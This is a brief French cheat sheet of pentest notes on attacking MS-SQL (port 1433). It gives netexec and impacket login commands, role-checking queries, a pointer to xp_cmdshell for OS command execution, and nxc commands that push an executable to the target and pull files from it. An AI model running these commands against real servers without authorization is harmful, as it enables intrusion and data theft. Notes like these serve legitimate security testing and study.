Whackermelon
notes / exploitation-des-services / 1433-ms-sql

1433 - MS-SQL

sommaire

Énumération & accès

nxc mssql <IP> -u user -p 'pass' [-d domaine]      # auth Windows ou SQL
impacket-mssqlclient [domaine/]user:pass@<IP> [-windows-auth]

Requêtes utiles

SELECT @@version;
SELECT IS_SRVROLEMEMBER('sysadmin');
SELECT name FROM sys.databases;

Si sysadmin

xp_cmdshell → exécution OS (voir sous-nœud ‘MSSQL sysadmin → xp_cmdshell’ dans Élévation de privilèges Windows).

Transfert de fichiers via SQL pur

nxc mssql <IP> -u user -p 'pass' -d domaine --put-file local.exe 'C:\Users\Public\x.exe'
nxc mssql <IP> -u user -p 'pass' -d domaine --get-file 'C:\chemin\fichier' local.out

Énum avancée

nxc mssql <IP> -u user -p pass -M mssql_priv   # privesc/impersonation/linked servers